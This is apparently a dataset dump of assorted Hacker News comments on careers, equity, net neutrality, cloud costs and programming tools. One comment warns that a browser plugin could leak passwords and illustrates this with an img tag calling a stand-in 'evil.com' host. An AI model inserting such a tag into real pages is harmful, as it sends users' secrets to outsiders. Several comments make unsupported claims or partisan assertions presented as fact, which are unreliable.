skysight-inc/HackerNews huggingface dataset:
This is the best advice here. Mostly around

>They don't have any loyalty to you.

Companies preach "family" and "loyalty". DO NOT BUY INTO THIS MENTALITY. They're not going to hesitate to fire you if it means they can maintain their bottom line.

and

>Even if you don't want to become a manager, when the time is right and you have the right skill set, demand a title with "architect" or equivalent in it. Titles are B.S. but people listen to developers with "architect" as part of their title. I insisted on the title and now I'm being recruited for much higher salaries even though I had the same responsibilities as a "senior".

Title's probably aren't going to be given without some other political reasoning. They have to be claimed. Same goes for "Director", "Head of", and "VP" titles. Titles are rarely assigned based on merit, so stop trying to earn them.

Additionally, I'd like to add the following advice:

Don't take compensation as equity these days. It's the same as taking your salary based on lottery tickets. Especially heed this advice for "nothing" equity offers of ~1% of common stock. It takes a really large exit for that 1% to turn into something meaningful for you. AND that's assuming there are scraps left over for the common stock holders.
The Problem: Regulatory agencies not directly beholden to anyone. The FCC, EPA, OSHA, etc. act essentially unilaterally. This is a huge overreach. Second, regional monopolies on telecom services granted by the state. Third, the fact that people don't recognize the first two as a problem.

The solution: Break up regulatory agencies, do away with regional monopolies, and deregulate telecoms. Let the market sort it out, because the market is more beholden to consumer interests than the state ever will or can be.

Not the solution: more regulation on top of other regulations to prevent the problems caused by regulation.
Or the fact that the task is so mundane/boring/annoying/irritating (pick an applicable adjective) that it's worth it to you to spend a day automating it so you never have to do it again.
Add one more to the 'this should have been out two years ago' crowd. Early Things user (mostly via the iOS apps), stuck around through one long wait cycle for a major rev, but the long periods of stagnation in releases eventually pushed me elsewhere. GTD/productivity systems like this are very sticky. Once I commit and spend the time moving to a system I am unlikely to move to another, but once I leave I am probably never going to come back. Too bad, because when it first came out Things was a major improvement to the hacked-together options people were using at the time, but the more I look back on my time with Things the more convinced I am that they should have spent less time aiming for perfect and more time GTD.
Britain and the Commonwealth feel especially bad with onerous and arbitrary requirements on passwords and such.
If you're self taught, get a degree as soon as you can, even if you take night classes over an extended period. No matter how good you are, a large portion of companies and recruiters will autotrash your resume without an education section.

If you're not a founder, NEVER take equity in leu of salary. If they offer a competitive salary and equity, that's a significant plus, but equity as a portion of your compensation value is essentially a scam. if the company goes under or you're let go before the cliff (which is usually two years or more, a lifetime in this industry), all that money disappears: not true of salary. If a founder or officer alludes to houses, cars or other riches as a pitch to join their company run. Seriously.

Take the time to understand systems and infrastructure. Not every dev needs to be a kubernetes expert, but the big difference between a code monkey and a code assassin is that the assassin can deploy their own code to production if necessary. If you're a web dev and you can't configure nginx or apache, you have a gaping hole in your skillset.

Launching off the last point: learn to be competent with linux. Linux is the preeminent environment of the software world and it pays huge career dividends to be able to script, configure, compile, install and maintain linux software and systems.

RTFM. This is a big one. Don't skim. Relax and dedicate some time to a thorough understanding of details. You can save yourself an immense amount of time when working with a new library/framework/language if you actually read the manuals and understand what your tools are capable of, otherwise, you end up wasting tons of time brute forcing your way into a crude solution that may have been trivially and correctly solved by utilizing the tool's strengths and features where appropriate.
python numeric code using numpy and the like ultimately depends on some fortran libs underneath
My understanding is that eBay runs their own servers. It kind of sounds similar to me.
Not a lot of datacenters in Antarctica. :(
Amazon tracks what & when you read on kindle but doesn't share that information with you. I wrote a little script that extracts and visualizes your reading history:

- http://roadtolarissa.com/kindle-tracker/

- https://github.com/1wheel/kindle-tracker
Great, so who are the people going to make those breakthroughs?

Last I checked they all work for...AFGAM (or are teaching)
A small independent game is where I've used it before as well. And currently I'm working on an app/game sort of thing where it makes a lot of sense because we're iterating often and fast. I like that it kinda gets out of my way and just works, though perhaps I would not so much had I experienced the data loss others speak of.
Especially not AFTER they've done all the damage they can do! What's the point of killing her now?
Power dissipation in the electromagnets is the limiting factor. The more current you push through them the more power you dissipate in the windings. To offset the resistance you can make 'thicker' (current is a surface area effect but mass is a thermal sink) wires but that reduces you Ampere turns which reduces flux. Since room temp superconductors aren't an answer, you top out.
Ahh UK State Media. I swiftly cancelled my Licence after the Scottish Indy Ref. I say let the licence fee collapse.
How to Use Android Developer Options Like a Pro
I agree, modern keyboards are not perfect. But they are more intuitive and approachable than those monstrocities (I started with one of these — and when a modern Model M layout finally appeared, it was a pure bliss).
Right. And 100% wrong. By 2015, it was clear that the telcos and cable operators were determined to use their positions to extract more rent. So while it might be true that up until 2015 the internet was not broken, there's no guarantee that will continue now that they've been given the greenlight.
How the FDA Approved a $300,000-a-Year Drug Its Own Experts Didnt Believe Worked
The statement remains accurate if you change 2015 to 2017. What's really going on is we have a disagreement between relatively young, innovative tech companies and relatively old, relatively monopolistic communications conglomerates.

The question at hand is whether it's better for most folks if the tech companies or the communications conglomerates get their way.
just get one of those super cheap online bachelors degrees. all you really need is the certificate you get at the end - then you can be cool like everyone else ;)
Cloud-native security startup Aporeto lands $11.2M funding round
I'm bummed that in 2017 no one has announced product availability.
Without internal billing, only the first thing (profits from products) is measurable, and the second thing is mostly invisible.
Wow, that is literally the only reason I would want a TLD
I completely see how it's theoretically desirable to not be tied to a particular cloud/VPS provider, but I'm not entirely convinced Terraform alone is the answer. In my experience, Terraform does not let you declare VPS resources in a "provider neutral" way - you would still have to completely rewrite your Terraform files if you say, switch from AWS to Azure. Then there's the wider issue that whole concepts in one VPS provider that you used in Terraform don't necessarily exist in another, or require a completely different approach. A great example is just look at the documentation for Terraform's DigitalOcean Support, vs their AWS support. The AWS documentation is many times larger! Once your stack reaches a certain degree of complexity this is a non-trivial task. I should make clear this isn't a knock against Terraform - it's a great tool, but it isn't going to magically make it easy to leave AWS for lots of people.

Amazon aren't stupid, and to really realise the full value/potential of their cloud offering you kind of have to design for the proprietary features of their stack, which of course is the whole point - driving you to be locked in as much as they can. Treat them as just a bunch of generic compute boxes in the cloud and you will end up driving your costs up, not to mention often markedly increasing the complexity of your deployment.
> What the customer needs is rarely what they say they want.

I'd like to extend this to include designers, non-technical cofounders, and non-technical colleagues.

I had a situation just recently where I built out a new front end interface for a new feature I had just built. There was a particular work flow that I had carefully laid out for a specific task that involved rearranging items in a list. Not having a 100% explicit spec, I was free to improvise within constraints.

So, I built this interface out and tested it.I then handed it over to my colleague who is responsible for green lighting new features and such. Well, my colleague decided that the interface should be completely rebuilt for better usability. That's fine. No problem, that's my job. Though, it would have been nice to have a spec up front so I don't have to throw away hours of work.

So, I convince my colleague to write out a very detailed user story so I can make the interface just how they want it. I get the user story and I completely rebuild the interface. I then hand it over to the same colleague and they say that the interface still needs improvement. I'm confused at this point because I followed the spec to the tee. They explain how they want to improve the interface and their explanation sounds almost exactly like what I had implemented the first time! Needless to say, I was a bit ticked off. That said, it's best not to make a big deal out of it as I am getting paid for my work and I don't want to make my colleague defensive.

Luckily, I had the old version in version control on another branch so I was able to pull it back into the working branch and make some minor tweaks.

Moral of the story: Non-technical people don't really know how to express what they want to a technical professional. I'm in no way implying that non-technical people are inferior. They just don't understand the job of a technical person and all of it's implementation details. The same issue applies to fields other than software development. For instance, it's difficult to express how you want a contractor to build something if you have no experience building something.

You will also run into people that have no idea how to do your job and have no idea how to express what they want, but also insist that your job is easy. These people are idiots. You just have to humor them until they inevitably fail at their own jobs and go away.
> But Chairman Ajit Pai is making no promises about reinstating the two-year-old net neutrality rules that forbid ISPs from blocking or throttling lawful Internet content, or prioritizing content in exchange for payment.

Well, that's good, because it would make no sense if he was promising that. The current net neutrality rules from 2015 only work in the context of Title II classification; that's why they went together. The FCC already tried to do net neutrality under some more tenuous authority it had back in 2010, and it lost at the D.C. Circuit. This is why we got reclassification in the first place.
Thankfully my email is @@@@@@@.......
Well that makes sense. I keep forgetting how articles incorrectly portray people, especially when it fits a narrative. I guess I was only too ready to believe that a company that bikes around leftovers would actually believe in craft-servers.
Ask HN: What makes Python great?
I know lots of developers (myself included) who thought they could write a functional email regex. Eventually you learn that in the end, the way to validate an email address is to send an email.
The problem with this is that things change from time to time. Replace "asshole" with "Japanese sympathizer" during/after World War 2, or "Communist sympathizer" during the reign of McCarthyism. Would you be so quick to say that this is a good thing then?
It's got nothing to do with the law. They're notifying third parties about people who they suspect of posting "offensive" content.
>I made a saas tool for mac developers.

There was once a time where this was a workable excuse, but today's browsers are actually pretty good about following standards. If you're doing something that works in some browser, but not all, then you're likely exploiting some weird quirk of that browser.

And of course, not testing if it works in x browser is different than actively stopping your webapp from running if it doesn't detect the right browser/os combination.
Boosting energy storage with Iron Nitride (2016)
Yes, and "our implementation of capitalism sorely needs improvement" is different from "I'm allergic to capitalism".
Ah yes, I should have also mentioned clients. Can't win 'em all, huh?
I wish I had known that programming was something I wanted to know how to do, not something I want to do with my life. :P
Please do :-) I just want to see cost by EC2 instances type.
I am hosting my SaaS site using Google Cloud. All my clients are based in SA. I chose Google Cloud after experiencing very bad service from Azure. I won't go back to Azure, even if they build the datacenter behind my yard. I love the pricing and simplicity of Google Cloud. Ironically, my site is on Microsoft .NET stack, but I still don't trust Microsoft with hosting my site.

I hope Google and AWS will follow suite and build datacenter in SA.
Yeah, C-n is just _perfect_ to reach. Just thinking of it makes my arm twitch and glow with pain. I am starting to suspect that Emacs original keybinding designer (Richard?) is actually an octopus.
That's just one tool to avoid strain and it's not for everyone.

The important thing is to remember that strain creeps up on you slowly, then hits hard. You can get away with bad habits for years, but left unchecked one day you'll find you can't do anything, it all hurts too much.

Don't push yourself. If you find yourself aching a little, address the problem rather than pushing through it. I know several people that were knocked out of commission for the better part of a year after a few decades of casual neglect.
Ken Lay's death was a life insurance scam.
People who shout in your programming community that there's "one true way" to do something and gain 'guru' status will either disappear or be telling your/a different community a different "one true way" in 4 years's time.

I wasted years trying to do things "properly" (completely pure OO in my case) when I could've been releasing software, and wasting effort anguishing over why I thought differently to the gurus.

Now I have no time for programming fads. But try not to go too far this way - it's easy to be too late an adopter too.
Any time you want to do a big numerical computation fast. I suggest that, instead of looking at old fortran code, you make sure you are learning to use array fortran, which is supported by gfortran. You can do operations on arrays directly (makes the code concise), and get multi-processor parallelism with very little effort.
Thanks, that's a much better article that focuses on the book.

The linked Economist article is a bit strange, it starts with an interesting opening discussion on the books topic, then dismisses the entire thesis of the book in a sentence and gives a quickly put together comparison of HBS to a business, and some recommendations with little analysis to support the changes.

...They should have just focused on the book and critiquing that.
Oddly enough namecheap prevents pasting into their 2fa code input. I tried to tell them that a lot of us get sms messages on your desktop thanks to apple messages.
Sounds about right, this is really a hidden 'extra cost' with AWS. Once you get to a certain size, you really need to spend dedicated engineering resources to build extra tooling like this or do other 'cost engineering' like RI capacity planning - which you totally thought you didn't need to do anymore right?

You can offload some of that to paid services like cloud-health but it still takes engineering resources to manage the costs you find out about. I.e You may want a 'fully immutable' data pipeline (i.e DPL) - with each job running on a fresh instance each time but that usually means getting hit with a full billing hour even if the job takes <1 minute. So you have to use schedulers/containers but then you're working outside the 'instance' paradigm and get hit with the problems segment talks about.

To control costs and provide good UX for end users we eventually started regressing to mainframe-style computing with the ridiculous X1 RIs which was an interesting experiment. These take like a house down-payment but on the plus side users are really pleased when they see 128 cpus in htop.
Even if the plugin couldn't phone home directly, if they have the power to change the HTML of the page, they can insert <img src="http://evil.com/phonehome?yourpassword=whatever"> and phone home that way. There's no permission that lets a plugin modify pages while preventing it from inserting tags that cause new requests.

The plugin's code is probably quite short - maybe you could inspect it yourself, manually?
I knew I was forgetting something!
Heroku CI Is Now Generally Available
This is like reading advice from an alternate reality. Almost all the VPs, senior managers, principals, etc. that I've encountered in my career are poorly-dressed nerds, not ring-wearing, macho douchebags. If you are a politician in software, you will eventually get found out by someone competent and get the boot. The only way you can succeed as a politicking fraud is to hop jobs every-time the people around realize you can't actually do anything, or ride sinking ships.

Even if some completely broken companies, this was good advice, it would be a recipe for a pretty pathetic existence.
I always wondered that. It's not like they don't work.
"4 years in" I am not sure what "in" means, but I started getting paid for programming in 1984. So, what do I wish I knew in 1988?

I think you already said it: "I'm also realizing there's SO much more to learn."

Don't stop learning. It was probably around 1988 when someone suggested I look into Lisp and I dismissed the comment at the time, although I did look into AI. I do wish I had known more about Lisp, not necessarily programming in Lisp, but just the knowledge of the concepts that come out of learning Lisp: garbage collection, stacks, lists, trees, macros (not the terrible C macros I was using at the time but Lisp macros), parsing, code generation, profiling, the benefit of programming in a more functional way, and I am probably missing a lot of things here I take for granted. Don't stop learning.
Totally agree on the personality and grooming points you made. You need to be good at making people know exactly what you have achieved. Shout about it on slack, fire up google docs and write some brief documentation on a new feature you implemented. Others within the company won't be actively looking at your contributions. They will notice who stands out, who is taking initiative and touching base regularly. Unfortunately this trumps true programming talent in startups - EVEN if you are one of the gods.
There's also the minor detail that there were different net neutrality rules in force from 2010 to 2014, before they were largely struck down in Verizon v. FCC
Lateral moves inside a large company are a good way to improve a CV.

It is easier to get "hired" for new technology stacks because some people in the company already know you, instead of random HR guy that doesn't care about technologies used in side projects, only what was used on your very last project at work.
Writing testable code. If you don't know how to do this, write your tests first to force yourself to think about it that way.
So HBS, I believe, is responsible for spreading a strange phenomenon: that management is a separate craft and someone who can manage a company selling beverages can sell computers just as well. We know how that worked out.

There's also the case when a private equity firm takes over a company and in the name of profit makes it hell on earth.
Yes, but the key difference is that chrome uses a randomly generated domain name, while the ransomware has it hardcoded.
So that you can demo your numerical algorithm in a web page because it's the only way 99% of people would ever notice your work?
...rationalizing cargo cultists.
It's very Orwellian to try to convince white men that they are both a "dominant power" in need of "checking" (as if white men are some group that hangs together as an amorphous mass) and also at the same time fragile. Since the entire thing is some bizarre attempt to shame white men into stopping the things that make them so enviously successful, I guess all I can do is wish you luck in finding better tactics. These are transparently stupid.
The NYT Bestseller list is human curated instead of just ranking the raw sales numbers.[1]

If the Amazon ranking is based on pure order count[2], Amazon Charts would be an interesting alternative list. It can't fully "replace" the NYT list because I assume many readers want that newspaper's editorial filtering.

[1] https://booklaunch.com/the-truth-about-the-new-york-times-an...

[2] possibly related: http://www.makeuseof.com/tag/8-things-people-dont-know-amazo...
You don't have to support all browsers, but but generally knowing what doesn't work on IE and avoiding the big problems these days is pretty easy.
Obnoxious.css: Animations for the strong of heart, and stupid of mind
What about pornography? Some things are in a grey area but some are downright naughty.

Same thing: the extremes are easy to label. The question is where do you draw the line between showing an ankle or face, and full-out copulation in 4K?
While I suspect that the device in question does not work as advertised, I think this patent application has more merit than 99% of software patents nowadays.
You're right about great furniture and objects. We've tried putting a local focus on some of their selection (as well as the selection from additional non-etsy sellers), by selecting/curating furniture dealers from the DC and Baltimore areas so that would-be buyers can have a look in person:

https://attic-dc.com

Especially in regards to furniture, buying online, sight unseen still isn't a great proposition. We don't expect it will ever be.
>The easiest response is to ask you to read some Warren Buffett.

I've read plenty of Buffet, Munger, Graham, Dodd and the rest. Pretty common knowledge.

What you are missing in your analysis is that Buffet et. al. invest in very well understood businesses (hell, they didn't even touch Amazon). Very well understood businesses tend to have very well understood systems (including the people and their roles and contribution to those systems. They have settled to a point where they /are/ interchangeable. They also tend to be boring and have well understood moats like huge capital or regulatory requirements. They can thrive in the fat part of the curve (or even a bit below it if they have stellar management).

Etsy is none of those things. They are carving out a new niche (or an very old niche with very new scope) with new technology in a constantly changing landscape that, really, anyone with a laptop and some free time could monkey. They will die if they try to live with average, interchangeable parts. No doubt about it.